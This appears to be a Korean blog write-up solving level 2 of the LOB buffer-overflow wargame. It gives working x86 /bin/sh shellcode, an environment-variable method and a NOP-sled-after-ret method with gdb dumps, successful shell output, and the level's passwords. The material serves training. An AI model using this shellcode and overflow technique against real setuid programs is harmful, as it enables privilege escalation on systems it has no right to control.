[해커스쿨 LOB] Level2: gremlin >> cobolt

두비니

·

2019. 9. 24. 14:06

 

 


Level 2. Gremlin >> Cobolt

Theme: Basic BufferOverFlow (smaller buffer)

 


 

 

 

들어갑시다.

id: gremlin
pw: hello bof world

 

기본 bash2입력 후, ls -l로 디렉토리를 확인해주면

[gremlin@localhost gremlin]$ bash2
[gremlin@localhost gremlin]$ ls -l
total 20
-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt
-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

 

cobolt.c파일을 열어보면

[gremlin@localhost gremlin]$ nl cobolt.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - cobolt
     4          - small buffer
     5  */

     6  int main(int argc, char *argv[])
     7  {
     8      char buffer[16];
     9      if(argc < 2){
    10          printf("argv error\n");
    11          exit(0);
    12      }
    13      strcpy(buffer, argv[1]);
    14      printf("%s\n", buffer);
    15  }

 

1단계와  비슷하네요. 1단계와 다른 점이 있다면 이제는 buffer의 크기가 너무 작아서 쉘코드를 buffer에는 못넣을것 같군요. 스택 상태는 다음과 같습니다.

 

 

그러면 우리가 쉘코드를 저장할 수 있는 buffer가 아닌 메모리가 필요한것인데...

저는 환경변수를 이용하여 풀도록 하겠습니다.

+) 여기에 ret뒤 영역 으로 푸는 풀이 추가했습니다. 글 뒤에 추가해놨으니 참고하시길!

 

일단 환경변수의 정의는, "프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수"라고 합니다. 환경변수도 결국 어떤 값들을 저장할 수 있는 변수이기 때문에, 쉘코드를 저장할 공간으로 사용할 것입니다.

 

[gremlin@localhost gremlin]$ export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

다음과 같이 명령어를 입력하면 환경변수가 선언되게 됩니다!

 

export (변수명)=(변수내용)

 

의 형식으로 작성을 하며, 쉘의 종류에 따라 변수내용에 값, 함수 등 등록할 수 있는 범주가 다릅니다.

아무튼 우리는 이 선언된 환경변수 EGG의 주소만 알아내면 되겠죠?

 

***추가***

혹시 환경변수로 선언했는데 문제가 안풀리는 경우에는 쉘코드 앞에 nop를 충분히 넣어주고 선언을 해봅시다.

export EGG=`python -c 'print "\x90"*1000+"\x31\xc0\x50....."'`

처럼요. 아마 주소상에 뭔가 문제가 조금 있는거같아서 앞에 nop로 채워주니까 해결이 되네요. 참고하시길.

 

 

우선 환경변수의 주소를 알아내야하니 주소를 알아내는 코드를 만들어봅시다. vi를 열고 다음 코드를 삽입해줍시다.

vi (파일명) 을 입력하면 자동적으로 편집기가 열립니다. 저는 getaddr.c라는 파일을 생성하였습니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char *ptr;
        ptr = getenv(argv[1]);
        printf("%p\n", ptr);
        return 0;
}

 

gcc -o (파일명) (파일로 만들 코드)로 주소를 구하는 코드를 만들어주고 확인해봅시다!

 

+) 왜 gcc를 이용하나요?

우선 gcc가 무엇인지 알아봅시다. GCCGNU Compiler Collection의 줄임말로, 컴파일러의 일종입니다. 왜 굳이 gcc를 통해 컴파일링을 하는지 물어본다면 당연히 .c파일은 단순히 코드덩어리에 불과하기 때문이죠. visual studio를 떠올려본다면, ctrl+f5로 컴파일링을 하면 디버깅 파일에 .exe파일이 만들어지고, 그게 실행되는 것과 비슷한 개념이라고 생각하면 편합니다.

 

[gremlin@localhost gremlin]$ gcc -o getaddr getaddr.c
[gremlin@localhost gremlin]$ ./getaddr EGG
0xbffffeb0

아무튼 EGG의 주소가 0xbffffeb0인걸 알아냈군요!

이 주소는 사람마다 다 다르게 나오니까 각각 확인해주셔야 합니다.

 

바로 페이로드를 작성합시다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20 + "\xb0\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAL▒▒▒
bash$ my-pass
euid = 502
hacking exposed

간단하죠?

 

글을 마무리하기 전에, 이런 궁금증을 가질 수도 있습니다.

 

1번 문제도 이런 방법으로 풀 수 있나요?

어차피 쉘코드를 메모리에 입력을 해놓고, 해당하는 주소를 ret값에 작성을 하면 되기 때문에 당연히 1번도 환경변수 풀이가 가능합니다. 다만 buffer에 쉘코드를 삽입한 후 문제풀이를 하는게 문제의 의도와 더 가깝다고 판단해서 버퍼에 직접 쉘코드를 삽입하는 방식으로 풀이를 진행하였습니다. 복습하는겸 다시 풀어봐도 좋을듯 합니다.

 

 

끝,,

 

 

+)2020.07.12 추가

 

환경변수 풀이가 문제가 있는 사람이 있는 것 같아 2가지 풀이를 더 씁니다.

앞에서도 이야기했지만 결국 쉘코드를 저장할 공간 + 그 공간의 주소가 bof를 하면서 최소한으로 필요한 부분들입니다.

여기에 추가적으로 프로그램에 따라 제한조건을 맞추는거고요.

 

따라서 ret뒤의 공간 이용한 풀이를 더 쓰지만

이 이외에도 훨씬 더 많은 풀이방법들이 존재합니다. (argv이용, LD_Preload...)

근데 어차피 뒤에서 사용하게될 방법들이고 여기서 설명하기에 너무 글이 길어질 것 같아 가장 짧게 설명할 수 있는 ret뒤 공간으로 한가지 풀이를 더 하겠습니다. (약간 구몬수학 풀자고 공학용계산기 쓰는방법 알려주는 느낌이라..)

아무튼 문제가 안풀린다면 이 방법정도는 해보시길 바랍니다.

 

 

ret 뒤 공간 활용하기

 

gdb로 분석을 해보면 strcpy다음이 main+53임을 알 수 있고, 이에 breakpoint를 걸고 확인을 해보면 다음과 같습니다. 어셈분석은 생략할게요.

 

strcpy로 인해 buffer부터 시작하여 쭉 입력값이 써지는 구조입니다. ret뒤에는 그냥 segment사이 끼리의 영역(엄밀히 말하자면 이 프로그램의 매개변수들이 저기 어딘가에 있겠죠)이고, 이 부분을 쓰지 못하게 하는 설정 또한 없기 때문에 이를 이용해도 전혀 상관이 없습니다. 따라서 다음 코드를 넣어봅시다.

 

r `python -c 'print "A"*20(buffer+ebp해당) + "\xbf"*4(ret해당) + "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

참고로 nop는 그냥 넉넉하게 준다고 1000개를 넣은겁니다.(이 문제에서는 크기제한 없음) 100개를 넣든, 10000개를 넣든 상관없어요. 그리고 레지스터 상황을 확인해보면,

(gdb) b * main+53
Breakpoint 1 at 0x8048465
(gdb) r `python -c 'print "A"*20 + "\xbf"*4 + "\x90"*1000+"x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/gremlin/lobolt `python -c 'print "A"*20 + "\xbf"*4 + "\x90"*1000+"x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048465 in main ()
(gdb) x/24x $esp
0xbffff730:     0xbffff738      0xbffff88c      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0xbfbfbfbf
0xbffff750:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff760:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff770:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff780:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb)

nop가 잘 들어가있네요. 어차피 nop뒤에는 쉘코드가 들어있으니 더 확인할 필요는 없지만

 

(gdb) x/24x $esp+950
0xbffffae6:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaf6:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb06:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb16:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb26:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb36:     0xc0319090      0x2f2f6850      0x2f686873      0x896e6962

확인하고싶다면 이렇게 확인하려는 주소를 증가시키면 됩니다.

(혹시나 esp에서 왜 빼는게아니라 더하냐고 하면, ret보다 주소값이 더 켜져야 ret의 밑부분을 볼 수 있겠죠? 스택부분 다시 공부해봅시다.)

 

아무튼 넉넉하게 주소를 0xbffff800으로 잡아봅시다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20 + "\x00\xf8\xff\xbf" + "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAA ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒Ph//shh/bin▒▒PS▒ᙰ

bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed

잘 되네요.

진짜 끝!

 

 

**아니 나 왜 에러 뜨는거야? 1: https://dokhakdubini.tistory.com/208**

 

[PuTTY/LOB] "Stack is still your friend"; 분명 맞는 페이로드를 짰는데 틀렸을 때

LOB를 풀다보면 Segmentation Fault도 아니고 "stack is still your friend"가 뜰 때가 있다. 결론부터 얘기하면 bash2입력하세요. 자 갈길갈사람들은 가시고 "왜?"가 궁금하신 분들은 나머지 글을 읽읍시다. 아..

dokhakdubini.tistory.com